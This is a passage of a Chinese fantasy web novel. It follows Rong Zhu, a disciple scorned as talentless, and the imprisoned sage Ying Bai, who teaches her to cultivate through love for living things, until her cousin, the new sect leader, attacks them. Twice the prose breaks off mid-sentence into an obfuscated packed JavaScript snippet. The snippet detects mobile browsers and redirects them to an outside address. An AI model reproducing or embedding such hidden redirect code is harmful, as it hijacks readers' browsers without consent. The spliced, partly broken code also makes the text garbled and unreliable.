容珠怪道:“可是灵核离开身体就没用了啊,他们能吸收什么?” “你也说了,灵核离开身体没用,那把灵核放进他身体里不就有用了?” 容珠瞪大眼睛,“怎么可能,人不是只能有一个灵核吗?” 应白道:“我当初的实力能和圣灵宫其他七位圣灵打上数个回合,对他们而言,我的灵核绝对比他们自己的要更宝贵,他们可以把自己的灵核挖出来,再把我的放进身体里,成功融合后他就会拥有和我一样的修为和能力。” 虽然圣灵宫住的都是圣灵,但资质也有高低之分,到达圣灵这个阶级,想提升一点灵力就要修炼许多年,而吸收比自己灵力强的人的灵核的确是快速提升灵力的首选方法。 “那你……” “我死了灵核会有一个时辰的时间认新主,错过了灵核就没用了。” 容珠难以置信:“把别人的灵核归为己用,成功的几率小之又小。” 应白拿起毛笔将笔尖上凸出的一根毛轻轻拔掉:“你不要低估人的野心。莫说是圣灵,在强者为尊的世界,任何人都想往上爬,不管代价如何,只要有万分之一的机会都会抓住的。” 容珠深深吸了一口气,目光落在写满了潦草字迹的白纸上。 应白在写自己的名字,一笔一划分外僵硬。 灵核交换之法她听说过,但从未听说有人用过,这般凶险丢命的法子即便有人用过,相信也没能抗住自挖灵核之痛或身体无法与新灵核相融爆体而亡。 无论是哪一种死法,只要死了,还有谁会知道这事呢? 容珠见应白心情不佳,便想到了另外一个话题,“应白圣灵,你跟我说说你口中那个充满爱的世界吧?它在哪里?” 应白勉勉强强写完了自己的名字,搁下笔,端正了坐姿,目光又恢复了以往的平和深邃。 “它不在这个世界里。” 容珠纳闷:“什么叫不在这个世界?” “你可听说过人外有人,天外有天这句话?” 容珠想起这是爹爹常说的一句话,不过常说的是前半句,后半句是容珠自己从书上看来的。 “我称它为天外天。”应白的目光遥遥地望向前方,眼中弥漫着怀念和向往。“你一定去过南海吧。” 容珠点头,“去过,当时爹爹要去南海之山给派中弟子们寻找灵草,带我一起去的。” 应白道:“在南海之山附近有一屏障,穿过了这个屏障,就能到达天外天,那里是另一个世界。” 应白看容珠面含疑惑,便替她说:“你一定在想,当时你和你爹爹并没有发现这个屏障。” “的确如此,我去过南海之山不下十次,从来没有发现那里有屏障。” 应白微笑:“你可不要说我吹牛,据我所知整个修真界只有我一人能看见屏障并穿过它。如果还有别人发现南海的另一边还有另一个世界这样的大事,定会在修真界掀起一番言论。” 如此稀奇古怪之事,容珠像听神话故事似的。她半信半疑,让应白继续讲他是怎么发现的以及天外天是什么样子。 应白却身子一倒,头枕石头,一副疲惫模样,“容珠姑娘,耳听为虚,眼见为实。如今你困在这里不能出去,我若说多了恐勾起你的好奇心,如若好奇心得不到满足,你岂非十分难受,心急如焚,这样还如何修炼心法,证明自己呢?” 应白的话不无道理,容珠不免有些失望。她看着应白毫不见外地躺了下来,自己倒有些手足无措,便说不打扰他休息,要出去逛逛。 走到洞口又听见应白叫她。她回头看他又坐了起来,眼睛带着笑,可面上又似在犹豫,他整理了一下衣服才道:“说真的,你真不拜我为师吗?” 容珠不知他心里在盘算着什么,一想方才他不给自己讲天外天的故事,就说:“不拜。” 应白又犹豫了一下问:“不是你说……要……爱我的吗?” 容珠一听“爱”这个字,莫名有些局促,她侧过身子只露了半张脸,一甩袖说:“今天先不爱了吧。”然后噔噔噔地跑远了。 9. 拉手 应白之所以一直想让容珠拜她为师的原因很简单,他想把自己一身的功法传授给她。一方面为了证明容珠不是废物,而是一个十分有潜力的人。另一面…… 她有些可怜。 怜悯有时候是对弱者的帮助,而有时候却会成为伤害弱者的武器。有时候应白会想,如果自己是女子,就可以抱一抱容珠,然后对她说:“灵力只要用对方法修炼就一定能有修炼起来的可能,而没有灵核的人连修炼都不能。” 他可怜容珠,也感伤自己。既然他脑子里记着他曾修炼的所有功法秘诀,而容珠需要一个能真心教她修炼的人,他为什么不这么做呢? 这样还能说明自己并不是一无是处,他仍然可以用自己的能力去帮助别人。 容珠猜不到应白心里的想法,她只以为应白是想利用她出漩涡之境,然后摆脱圣灵宫的追捕。 可谁说徒弟一定会护着师父?师父一定会对徒弟负责? 应白可见过太多徒弟得了真传后反手吸了师父灵力灭口的,也见过师父收了徒弟银钱却不认真教学的。 容珠之所以会这么认为反而证明她心中有徒弟应该尊敬师父的概念,说明她的潜意识里有另外一套行事准则。 应白不想死,也不愿让一个小小女子保护自己,还可能成为整个修真界追捕的对象,那他实在愧于为人。 他渴望自由,但不可以以他人为代价。 应白翻来覆去睡不着,他意识到自己的理性差点在四年以来的寂寞日子中被吞噬了,又很庆幸自己能及时止住心中私念。 难道成为一个麻木自私的人就是万初圣灵的最终目的? 若一个人从来没有受过教导劝阻,他定不知礼义廉耻,不分善恶对错,定然会万事以自己为中心,趋利避害,只为让自己过得舒坦快乐,全然失去了爱。 可他当初拜师学艺时蒙受师父悉心栽培,做一个端人正士,所有的动机都应在利于他人时再谋取自身利益,忌损他人而利己。 他认为人的心中不该有恶,然而他也清楚自己的心中不都是爱。 师父曾说他并没有真正理解爱与恶的关系。师父说,人的一颗心里面装的有善也有恶,遇到一些事时,适当的恶可以保护自己,维护利益,而善的存在是为了压制过多的恶,不让人毫无人性。 善恶永远是相辅相成的。 应白平静了一下思绪,内心想:还是想办法让容珠出漩涡之境,回到正常生活吧。 可是她怎么做才能出去呢? 容珠说当时狂风四起,半空中出现一个漩涡,她便进来了。可万初圣灵的漩涡之境怎么会莫名打开? 难道是因为囚禁自己的漩涡之境中的场景是清凌门的山洞,而容珠被清凌门处罚的地点也是这个山洞,所以就…… 漩涡之境的主要作用就是将人关进去,从某种层面上来讲与结界屏障之类的相似,将人与外界隔绝。 结界或屏障都有弱点,修为大过施术人可破,精通破密之法也可破。若漩涡之境有漏洞之处可查,或许是容珠机缘巧合地遇上了。 常言道上山容易下山难,更何况巧合二字能遇见一次就已难得,若是指望容珠巧合地进来再巧合地出去怕是毫无可能。 应白陷入了被关四年来第二次严肃的思考中…… * 连着几日的修习,容珠的心痛缓解了不少,但修炼起来还是会有些微难受。应白让她尝试对世间万物生灵产生爱。 一片花,一根草,一条狗,一只鸟都是世间生灵。 “人们喜爱折花,但鲜少有人种树,既有索取,当有付出。不是一朵花都不能摘,而是要有呵护之心。” “对花草树木有呵护之心,对飞禽走兽有爱护之心,对溪流大海有保护之心,这便可以了。” “先培养自己对万物生灵的爱心,这样修炼起来会容易些。” 应白说的这些话在容珠听来犹如惊天霹雳的做法,她蓦然想起有一年春日,那会儿父亲健在,她还不知道师兄师姐们对她的真实想法。 他们在开满了鲜花绿叶的花园中游玩,师姐们将摘下来的花或插在头上,或编成花环,师兄们则把一朵朵花摘下来互相扔向对方。 她对师兄们说想要树上那开得最密,最灿的一枝干花。于是师兄说:“这还不容易,看好了。”他脚底蓄力,一个起飞便抓住了那枝干,劈里啪啦地折下,弄得花瓣簌簌飘落,连带着整棵树都晃晃荡荡的。 她兴高采烈地举着这个比她还高的枝干玩了好一会,等到大家玩腻了,累了,就将手上的花随处一丢,花瓣早已变得蔫坏,成了一个浑身是伤,衣装破败的少女。 她那会儿不觉得怎样,也将手里的枝干随处一丢,跟着他们跑远了。此刻想起来却怔然惊悚,她对待那枝花,跟她的师兄师姐们对待她又有何分别? 草木有灵,她哪里在乎过这些。在她的认知里,草就是用来踩的,花就是用来折的,狗就是用来玩弄呼喝的,鸟就是要将它圈在笼子里用来逗笑的宠物。死了就丢了,再抓一只,偏要挑那些羽毛靓丽多彩的,看着它们在笼子里叽叽喳喳,扑棱翅膀,眼珠害怕,这样才好玩,这样才开心。 容珠背后溢上一层冷汗,现在回想自己从前干的事,根本不具有爱,一丁点也没有。 可惜花草树木不会说话,容珠不知它们哪里痛苦,要如何帮他们提升幸福。 应白笑道:“只要不是因满足自己喜好而随心所欲伤害对方就已经很好了。” 掌握对世间生灵的爱并不难,容珠能反思自己过往的行为,这份愧疚就是一点爱了。 清凌门处在修真界一座名叫扶安山的半山腰中。这个地方烟岚云岫,云兴霞蔚,是颇有名气的一处美景之地。 细究起来,清凌门占地不小,代代相传下去,哪怕有的是地方用不上也不会大手一挥说不要。 因地方大,地气灵,什么花啊树啊的长得郁郁葱葱,美不胜收。容珠此刻走在竹林幽径中一一静心观赏,这些树和树之间会比较谁高谁低,谁更茂盛谁更荒芜吗?那些花儿会比较哪朵颜色艳丽,哪朵开得旺盛吗? 或许草木生灵之间根本没有互比。它们日复一年,默默无闻地脚扎泥地,头顶青天,等待着属于它们的季节来临,然后伸枝发芽,一展丰姿。 容珠坐在草地上,看着碧湖荡漾,柳洗青枝。曾经父亲跟她说过好多次,练功急不得,越是用心揣摩,功法越是打得牢固,以后修炼高阶功法时便要容易些。 日复一日,容珠从没有这么认真且仔细地观察过花草树木,云朵飞鸟。 她常发现应白总是带着一点点微笑看着她,即便应白没有了圣灵实力,但容珠总想着他是圣灵,因此对他总有一股警惕和害怕在心底。 但这样的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669320|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次一次出现在她眼前,也不知从什么时候起,她和应白的交流变得多了起来,如果不是她无意间在溪流的倒影中发现了自己的样子,她都不知道自己也在笑。 很轻松,发自内心地在笑。 这日晚上,容珠坐在洞口不远处的涯边望着漫天繁星,应白倚在洞边看着洞外。 他看不见繁星,只能看见容珠在抬头看着什么。 他渴望外界的风和月,却又不可及,只好轻轻发出一声叹息。 寂静的夜,这声叹息飘到了容珠耳朵里。她先是望向他,然后笑了笑,问:“应白圣灵,你想看星星吗?” 应白没好气地看着她:“我看不到星星,只能看到你。” 容珠起身,上前走了两步,伸出手道:“我拉着你看。” “我出不去洞口。” “你拉着我,我看到了什么,就相当于你也看到了,这是一种美好变换,你懂吗?” 应白看着眼前少女眼角含笑,神情似认真似玩笑,忽然他就想起了刚看见她时哭哭啼啼的模样,那么脆弱,那么悲伤,好像她的世界全塌了,就像他被关漩涡之境那日一样,以为人生就这样了。 他知她在开玩笑,也不拂她兴致,就从怀里伸出一只手放在她手心里。 两只手只是轻轻地触碰着,一个洞内,一个洞外。 容珠一笑然后抬头去看星星,她问应白:“你看到了吗?” 应白抬头,假装仔细观赏,“嗯,看到了。” “你看那颗,还有那颗,它们距离那么远,却是最亮的星星,它亮一下,那一颗也亮一下,如果星光是一种言语,这是多么浪漫的一件事啊。” 应白就这么静静地听她说话,从容珠身上他看到了她在变化,她在努力地去观察世间万物,探索它们其中的神秘力量,让自己尝试去理解它们,关爱它们。 纯真不是幼稚,它恰恰是人最宝贵的东西,也是最容易磨灭的东西。 容珠握着应白的手,晓得他看不见,就将夜空中的景象尽力描述给他听。讲着讲着,自己也入迷了,全然不想听者会不会觉得烦躁。 碰巧这时,一颗流星从头顶飞过。 一直听容珠转述夜空画面的应白正沉浸在对夜空的假想中,手中的温度,纯净的声音让他整个人的身心都处在放松阶段。 忽然听到对方大喊一声:“流星!”紧接着一股力气抓着自己的手掌向外拉去,然后…… 容珠甚少见过流星,不免惊喜万分,忘了自己还在拉着应白的手,下意识顺着流星滑落的轨迹跟着跑过去看。全然不知变数的容珠指着落往山洞后方早已飞逝的流星发出一声叹息和遗憾。 应白被周围的景象惊呆了,他看着尽在眼前的洞口,心跳剧烈到了极点。 从前是在洞内看向洞外,现在是站在洞外看全世界。 容珠忽然意识到了什么事,她倏地抬起右手,见自己仍在握着应白的手,而他们……正一起站在山洞之外。 “怎,怎么回事?”容珠震惊不已。应白也被这突然之变愣住了。 忽然不知从哪里传来一声:“鬼啊!”然后又有一个声音响起:“你,你,你是容珠?” 一丝不太好的预感涌上心头,容珠缓缓回头,见皎洁月色下,参天大树旁,站着若干名白衣绿带,头顶玉冠的青年。 他们都是清凌门的弟子。 10. 掌门 这几个弟子是清凌门今晚的巡逻人,喊鬼的那人是家里给足了钱安排到清凌门修习的。 门派的进项多数来自于来求学的弟子,门派每年收一次学费,只要家里银钱足够,个人资质差一些门派也是会收的,除非资质奇差,这样给再多的钱门派也不会要,因为一个资质差的人需要精丹弥补,一颗精丹的制作过程费钱费力,门派不会去倒贴钱养一名弟子。 容珠就是清凌门唯一一个资质奇差的人,但她命好,是掌门之女,也因此让其他弟子都记恨在心,等容山一死,他们便把对她积攒已久的嫌弃和厌恶统统放在了脸上。 此时,巡逻的一名弟子正瑟瑟发抖,他是新来的,没见过容珠长什么样,不过方才巡逻时正听师兄们跟他讲鬼故事。原本就是黑夜,这人听得冷汗涔涔,抖入筛糠,猛一见苍白月光下忽地有两个人影站那,衣摆纷飞,登时脱口而出了这两个字。 其他清凌门弟子闻声望去,他们都在清凌门修习了两三年,对容珠的模样再熟悉不过了。但不管是新入门的还是已经在清凌门修习几年的弟子都不认识对面男子是谁。 云层顺着风的方向飘忽移动,遮住了月光,四周阴森黑漆,根本看不清对方容颜。 但见一抹金光晃了一下,众弟子纷纷聚焦,待看清那金光的来源是那人的额间印记时,弟子们目瞪口呆,一双双眼在黑暗中散发着崇敬的光辉,个个张大了嘴结巴道:“圣,圣,是圣灵!” 这些弟子较为年轻,略有资历的是不会来巡逻的。他们只知当年有圣灵被囚一事,并不晓得眼前这个青年正是当年的圣灵。 其中一个较为淡定的弟子对另一个人道:“快去告知掌门。” 那人听后收敛神色,立马回身,消失在了黑夜中。 “糟了……” 这可不是一个好兆头,容珠有些慌乱地对应白说:“我叔叔肯定认得你,如果他发现你重现于世,不知会如何行动。” 应白见她只考虑了自己,便问:“那你呢?你怎么办?” 容珠眉头紧锁:“清凌门将我除名,我已经不再是清凌门弟子了,左右再将我关进山洞为父亲守孝,应当不会有大碍,我怕我叔叔看到你后会通知圣灵宫。” 不用一盏茶的时间,原先跑回去的弟子又急呼呼地跑了回来,只见一道蓝光横过,一个身影从天而降。 蓝袖飘扬,华服玉冠,额间一抹蓝清尘冷冽,一张冰冷绝代容颜在容珠眼前出现。 众弟子见来者纷纷拱手作揖,齐声道:“掌门。” 容珠看向被众弟子换作掌门的女子,那人有张神女般的容颜,额间印着一抹夺目冰冷的中灵之蓝,不是容檀又是谁? 不知是女大十八变还是这身华服映衬得她容颜更美,周身自带的威严肃穆之气简直快要将容珠逼瞎了眼。 容檀原先还不信弟子们的禀告,如今亲眼所见倒不得不相信。 “表姐?”她美眸闪过一丝惊讶,有些不可置信:“你没死?” 容珠大脑如被冰封。 怎的容檀成了清凌门的掌门? 那叔叔呢? “你没有被山洞吞噬?”容檀的声音幽幽的飘进容珠耳朵里。 容珠十分自然,仿佛习惯了,仿佛就应该这样,她低下了头,声音怯懦道:“没死,我……出来了。” 曾经的熟悉感扑面而来,那是一种恐怖的,压制的力量,站在她面前,压着她低头。纵然是寂静的夜,她也能听到无数嘲笑讽刺之声在她耳边狂啸而至,像一把把锐利的刀,要将她耳膜刮破,耳朵割掉…… 她还以为自己不会再遇见,以为自己早就脱离了不愉快的人,这突忽其来的场景明晃晃告诉她,之前在漩涡之境里无忧无虑的时光是一场梦,别忘了她是弱者,终究要回归现实。 “一年前,押送你的弟子们回来禀告,说走到洞口时忽然狂风四起,看着你被山洞吞噬。等风停了以后,我们去搜寻,连一根骨头都没有,还以为你已经尸骨无存了呢。” 容檀的声音带着三分意外,三分嘲笑,三分不甘,一分…… “你还真是命大,过去一年了还能安然无恙的回来。命是好命,只可惜……” 容檀没有继续说下去,转而把目光移到了那陌生男子身上。 容珠心内大惊,自己在漩涡之境里已经待了一年了! 因为每天都是今天,看不出四季变化,容珠也不会闲得去一天天数日子,她只感觉和应白相处了好久,没想到竟有一年了。 容檀眼尖,立马就看见了对方额间的圣灵之金。她本还高高在上的模样,一下子变得些许愕然,然后震惊,然后目光发亮,好似有一点惊喜…… 圣灵是不会轻易叫人看见的,也就每年的灵阶比试才有机会一观。 容檀仔细回想,今年的灵阶比试,清凌门参加的是低灵复核赛,受尽不少冷嘲热讽,气得容檀真想一剑将他们嘴卸了。 不过她怎么不记得圣灵宫有这么一位年轻的圣灵呢? 不管怎么说,圣灵印记是不会错的,为表尊敬,容檀先一步自我介绍:“清凌门掌门容檀见过圣灵,不知阁下是圣灵宫哪位圣灵?容檀位卑眼拙,不知圣灵尊姓大名?” 位卑眼拙…… 容珠亲耳听到容檀说这四个字竟有种飘飘忽忽,十分不真切之感。 要知道容檀天赋异禀,乃天之骄女,十五岁末参加灵阶比试成为中灵。年少成名,姿容矫矫,是修真界多少弟子仰慕羡煞的对象。 容檀素来高傲,试问整个修真界有几个与她年龄相当,又升至中灵的人? 哪怕是其他中灵的人来也不见得比容檀骄傲到哪里去,因为容檀年轻,两点结合她有充分傲娇的资本。 这边容檀刚开口询问,脑子里好像有一丝丝记忆闪过:年轻的圣灵,年轻的圣灵,怎么这么熟悉呢? 容檀对人傲娇但在修炼方面十分认真执着,一项技能若是久久练不起来她能不吃饭不睡觉都要练。 所以,曾经的某一件事或许她听过也知道,但……她要练功,不停地练功,人生除了练功就是练功,别的事她不关心。 应白已经听明白了两人之间的关系和感情。门派掌门一职一向是能者上任,这个姑娘年纪轻轻就是中灵,的确不凡。 即便容珠此刻低着头,默不作声,他也知道容珠的内心想法,而容珠也不曾意识到自己仍在握着应白的手。 不安、卑微、胆怯……这些情绪应白都能从这只手上感觉出来。容珠虽为表姐却一直被表妹压着,伦理孝道,礼仪尊卑这种东西在强者为尊的世界里更本不值一提。 应白微微一笑,“容掌门还是不要对我这么客气,说不定过不了多久你就要会开始后悔。” 容檀不懂应白这番话什么道理,想要再问就听后方弟子喊:“尊主到——!” 尊主是什么? 容珠纳闷,怎么清凌门凭空多出了这么一个称呼?她透过黑夜去瞧远处踏步而来的两个人。 两个人一前一后,没瞧着人脸就已察觉出两人周身气质截然不同。前者步伐稳健,身形坚//挺,一派成熟老道之气,压迫威严之风。后头那人身形高挑,脚步沉稳,自有玉树临风之姿。 待走近了借着月光,容珠才看清来者是叔叔容江和大师兄连逸。 “爹。”容檀将事情简单一说,容江没有慰问容珠如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669321|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何,而是盯着容珠身旁这个额间印有圣灵之金的男人看了一会儿。 他深邃且波澜不惊的双眼将他浑身上下仔细看了一遍才确认道:“阁下是应白圣灵?” “应白圣灵?”容檀听到这个名字就好像一把打开了她记忆锁的钥匙,瞬间想起来当年那个轰动了整个修真界的事情。 “那个被囚禁在漩涡之境的圣灵?”容檀再次确认,待得到她爹肯定后,容檀不免又显错愕。 她记得当年听到这个消息时还不屑道:“真可惜这么一个天才不想着成仙竟企图说服我们怜悯弱者,真是疯子!” 当年应白圣灵拜访清凌门,容檀十分迫切想一睹应白容貌,可容江却说没有掌门传召,不得擅自去前厅,所以她一直没有近距离看过应白。就算远看过,可四年时光过去,现下也认不出来了。 此刻,清凌门众人表情各异,弟子们围在一起窃窃私语,站在前头的三个人像在打量什么怪物似的看着应白。 应白端出一个温和又不失姿态的笑,不缓不慢地开口道:“不错,我就是应白。” 容珠的心已经提到嗓子眼了,别说清凌门众人,她自己都还没从把应白拉出漩涡之境这一事实中缓过来。 怎么就把应白拉了出来? 刚才不是在看星星吗? 这下子清凌门知道应白离开漩涡之境,不日整个修真界都知道了,她的心法还没学会,她还没有证明自己不是废物,应白又要关进去了? 她心绪百转间又听容江问?“阁下不是在漩涡之境吗?怎会来清凌门?莫非容珠的命是阁下所救?” 在容珠的印象中,这位叔叔就两个表情,要么面无表情,要么带着客客气气的笑容。 当年爹爹任清凌门掌门时就不常见叔叔,叔叔和容檀都是在玉霄院不声不响地住着,她都不确定叔叔现在是什么灵阶,因为容江一直隐藏自己的灵阶标识,不显露于众,但容檀并不安静。 只要是弟子们聚集的地方她都会出现。中午吃饭,容檀会在众人抢着打饭的时候翩然而至,弟子们见了她都兴高采烈地让出一条道,甚至都不需要容檀自己打饭。 弟子们练武时,容檀会悄无声息地到来然后随便对某几个人出言指点,接下来全场的弟子们都呼啦啦地围了过来,听她指点,然后一个个再呼声让她演示。 哪一次人多的地方容檀十有八九都会出现,而剩下的一到两次就是被她爹叫了回去。 容江叔叔好像和爹爹的感情很好,又好像只是客客气气地好。叔叔总是一副客气模样,根本不知道他心中究竟在想什么,可应白私自离开漩涡之境,不管是谁看见都会禀明圣灵宫,这是板上钉钉的事。 容珠抬头去看应白,朦胧月光下,他的眼眸温和无比,整个人恍若轻纱傍身,像天上的仙鹤,与世间俗物分毫无关。 他的眼神坚定宁静,仿佛对面站着的一众人士并不是在质问他,他像是在看一处美丽的风景,双眸亮晶晶地闪着光。 随即他道:“容珠姑娘灵核极佳,是个修炼的好苗子,她是依靠自己的能力活下来的。” 容珠灵核极佳?是个修炼的好苗子? 容檀仿佛听到了天大的笑话,她道:“应白圣灵,若我没记错的话,你的灵核早已被圣灵宫抽取,虽然你印记未消,可你与普通人无异,想必没了先前的本事,看人的眼光也不复存在。 “容珠先前乃清凌门的弟子,修行多年毫无进展,清凌门所有人都知道容珠是天生的废物,而你一个没有灵核的人扬言说她有天赋。” 容檀呵呵一笑:“如果说话就能算数,那应白圣灵何不开口让自己灵核回来,毕竟现在的你与废物无异。” 11. 生死 容檀出言嘲讽,一旁的连逸脸色难看,欲言又止,容江不知在想什么,眉间拧着,一言不发。 “实力高低的确是检验一个人是强是弱最明显的标准。”应白的声音在寂静的夜里如缓缓细流,“虽然我没有了灵核,但记得住曾经练过的所有剑法招式,功学口诀,我打算悉数教给容珠姑娘。” “什么?”容檀恍惚间只觉自己耳朵坏了。 “听闻清凌门已将容珠姑娘除名,所以我教授她一些法术技能并无不妥吧?容珠姑娘是天才或是废物还不能早下定论。深夜闯入清凌门实属无心,在下深表歉意,如果容掌门没什么事的话,我们就走了。” “等等!” 容檀心内有股火气,要知道她这个表姐容珠可是从小就吃了不少好资源,再说她伯伯容山是一派掌门还是个高灵,明里暗里给了女儿多少好处都没能将容珠培养起来。 他应白一个没有灵核的圣灵竟妄图依靠单纯的术语口诀想改变容珠废物的身份。 怎么可能?凭什么又是容珠! 容檀掌门美眸一垂一抬,已然压下了眸底火气,她上前走了两步,朗声道:“容珠的确非我清凌门弟子,我无权干涉她的去留,但你……应白圣灵,圣灵宫好像没有消息说你已放出一事,想必你是私自离开漩涡之境吧? “我身为清凌门掌门看到你的第一时间就应将你暂压于此,而后上报圣灵宫,怎么能当做什么事都没有就任由你走呢?” “掌门,我认为……” “你闭嘴!”容檀喝制住了连逸未说出口的话。连逸的表情没有多大起伏,好像早知会如此,好像已经习惯了被喝制。 容江微微侧头看向容檀,一双深沉苍眸带着尊主的威严,带着对女儿的洞悉,带着不知其意的等候。 “容檀,你不能抓他!” 容珠内心一紧,站在了应白前方。她把应白拉出漩涡之境一事发生得太过突然,偏巧又碰上了清凌门弟子,延伸出这些事来。若容檀要上报圣灵宫,那她的废物头衔就再无翻转的可能。 本来她还想着干脆找个时机就拜应白为师吧,这样就能顺理成章地学更多本事。若能突破自己让清凌门看到自己的改变,看到自己不是废物,他们就不会嘲笑自己,说自己无用了。 这是爹爹的遗愿,也是她这一生除非死不然绝不会服输的心结。她不能失去应白的帮助,她要挽回曾经丢失的尊严。 正如当时的容珠不知道应白反复提及拜他为师存的什么心思,而此时的应白也不知道容珠出言阻止容檀抓自己的真实想法是什么。 他目不转睛地看着这个没有多少灵力的小姑娘挡在自己身前,她明明很弱小,却又会勇敢反抗,她明明总是哭,却在擦掉眼泪后依然顽强不屈。 这是这个世界所没有的灵魂,即便在爱的世界,应白也从没有遇到过。 容檀见容珠出言阻止,冷笑道:“你有什么资格跟我说话?” 容檀咬牙切齿。为什么容珠明明是个废物,却总有人愿意为了她付出? 容珠的亲爹也就算了,后来因容珠在清凌门山洞前不知所踪一事,连逸闹着要离开清凌门自己修行,偏自己的父亲还要苦口婆心劝他留下。 后来自己当了掌门,父亲说连逸稳重,资质好,也不经过自己同意就让连逸成了她身边辅佐之人。 她容檀哪里需要一个灵力还不如自己的人辅佐?更何况连逸偏袒容珠,为了一个废物吵嚷着离开清凌门。他算什么人? 还以为容珠被山洞吞噬灰飞烟灭了,不成想竟这样好命活了过来,连个没了灵核的圣灵都扬言说要把自己毕生所学传授给她。 她怎么就像根刺一样,在自己身上哪里都扎一下,十分刺挠却摆脱不了。她还就不信了,这样一个废物有什么资格活在这个世上! 她左臂缓缓上扬,一股股蓝光如柳藤般缠绕着她的臂膀,汇集在手中,一个忽隐忽现的形状渐渐形成。 是一把蓝光琉璃的弓箭。 “檀儿,你这是做什么?” 容檀没有理会父亲的问话,而是盯着不远处的容珠。琉璃弓箭散发着清透莹润的光泽,容檀的声音冰冷绝情地响起:“容珠,你是没有资格跟我说话的。别忘了,你再怎么努力也改变不了你是废物的事实。” 她右手灌起灵力生成一支羽箭,“如果你能挡得住我这支羽箭,上天入地我都不会管你。若是挡不住,你命就该绝!” 修练至低灵后就可以随心所欲召唤自己的武器,容檀的武器不止一样,标配是剑,其他的还有弓箭、鞭子等,无一不是上好武器,用哪个完全取决于她的心情。 箭在弦上,弓箭张开。一只手大力地握住容檀手腕,厉声道:“檀儿,你是清凌门的掌门,一言一行都代表着清凌门的作风,不要把自己的私心混进来。” 容檀怒视着父亲:“容珠和修真界罪人应白勾结,方才我已劝诫,但容珠不服,女儿身为一派掌门,定不会干出欺骗忤逆圣灵宫的事。女儿处理不了应白,但容珠却不会放过。” “她已不是清凌门的弟子,你无权干涉她的自由。” “正是因为她不是清凌门的弟子,深夜却擅闯清凌地界,定有异心。我身为掌门应当保护整个清凌门,绝不让外人在清凌门的地盘上为非作歹!” 说着,容檀在羽箭上蓄满了灵力对准容珠一剑射去! 双方离得本来就不算远,羽箭速度极快,未眨眼便已及容珠胸前不到一寸,容江意外但根本来不及阻止。 这一年的时间,容珠修炼心法的疼痛每日都在递减。其实对万物生灵的爱要比爱人容易得多,草木皆有灵,当你用心栽培它们的时候,它们便会以勃勃生机作为语言告诉你。 应白没有骗她,她在山洞里练习的时候的确能感受到体内的灵力开始不一样了。心法本就有助于修炼,提高功力之效,她勤恳又有耐心,察觉到了自身灵力的变化,虽然只有一点点,像羽毛擦过皮肤似的那么轻,但容珠还是激动得不行。 此时她正觉体内有一缕缕微弱灵力在四散流走,掌心隐隐可觉有一丝力量要释放出来。 这种力量没有大海那般浩瀚,也没有溪流那般汩汩,它就像是鱼儿在平静的湖面下游过,湖面上泛起的一道长 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悬崖下,浓黑的景象像是魔兽张大了嘴巴等待食物降临。应白近在咫尺,蓝羽箭的光芒如锐刺般扎着容珠双眼。她拼命伸手去抓,看着应白双眸里的光芒在漆黑的夜色里慢慢变暗,恐怖笼罩住心头,容珠一遍遍在心内说着“不能”。 应白是救她的最后一根稻草,她不能失去他,只有应白能让她摆脱废物的头衔,让她有改变命运的可能,她必须要抓住。 山雾漫漫,夜风凄啸。那人坠得过分快,容珠欲哭无泪,阵阵疼痛从心尖传来。 痛什么?痛自己近在咫尺的转机也要消逝?痛这个跟自己说话温和深沉的人将要死去?痛这世上再也没有人告诉自己什么叫爱? 容珠心内很复杂,她想她自己,也想着应白。她曾经对应白说要爱他,爱他就是帮他减轻痛苦,提升幸福。可应白近在眼前,她却拉不住他,他的目光温和悲痛,嘴角带着微笑,发丝随风飘扬,那幽蓝的羽箭对他而言是不是致命的? 应白没想到容珠会向他伸手。她灵力低微,如同肉//体凡胎般坠崖岂不必死? 当蓝羽箭刺入身上的那一刻,痛感才让应白想到了自己。 他从没有想过身处漩涡之境多年,有人会拉自己出来再看一眼世间景象。如果这片刻欢愉过后是等候圣灵宫对他处决,那他还有权利去追寻自己的自由。 他不要再回到漩涡之境,不要等待圣灵宫那些圣灵对他的判决,不会让自己的灵核为他们所用。他是他自己,没有人可以阻挡他追寻死的自由。 为了让一个人生尚有希望的女子活下来,他就这样坠入深渊也不无不可,可现在她竟纵身一跃,伸出手想拉他。 他们同病相怜,他们各怀心思。但这一刻,两个人都有一个共同明显的欲望,就是想让对方活着,这是此时此刻在各自心底涌动的爱与希望。 容珠眼眶凝聚了一滴泪,脱线而下,滴到应白的脸颊上。体内稀薄的灵力再一次如溪流入海,蠢蠢欲动,她掌心散发着淡黄的光芒,袅袅如烟,飘向青年。 12. 转机 容珠终于抓住了应白的手,呼啸的夜风刮着耳朵,她不知道距离地面还有多高,但她必须做出应对。 “应白圣灵,你一定知道飘渺咒的咒语,从前我灵力低微,一直没有能力去学习高一阶的功法,你告诉我咒语,我尽力一试。” 飘渺咒乃低灵阶级的咒法,中咒者会飘至半空,身体不由自主地顺着风吹的方向飞去,半个时辰后方可落地。虽说这咒不难但对容珠来讲就算汇集全身灵力都使不出一点。 眼下这种危急关头,也不知是不是面对深渊产生了恐惧,恐惧激发了潜在的能力,容珠感受到体内灵力与以往要强了那么一点点。 还是那句话,在临死前要尽可能的寻求活下去的希望。 应白没有告诉她咒语,而是问:“你为什么要跳下来?你会死的。” 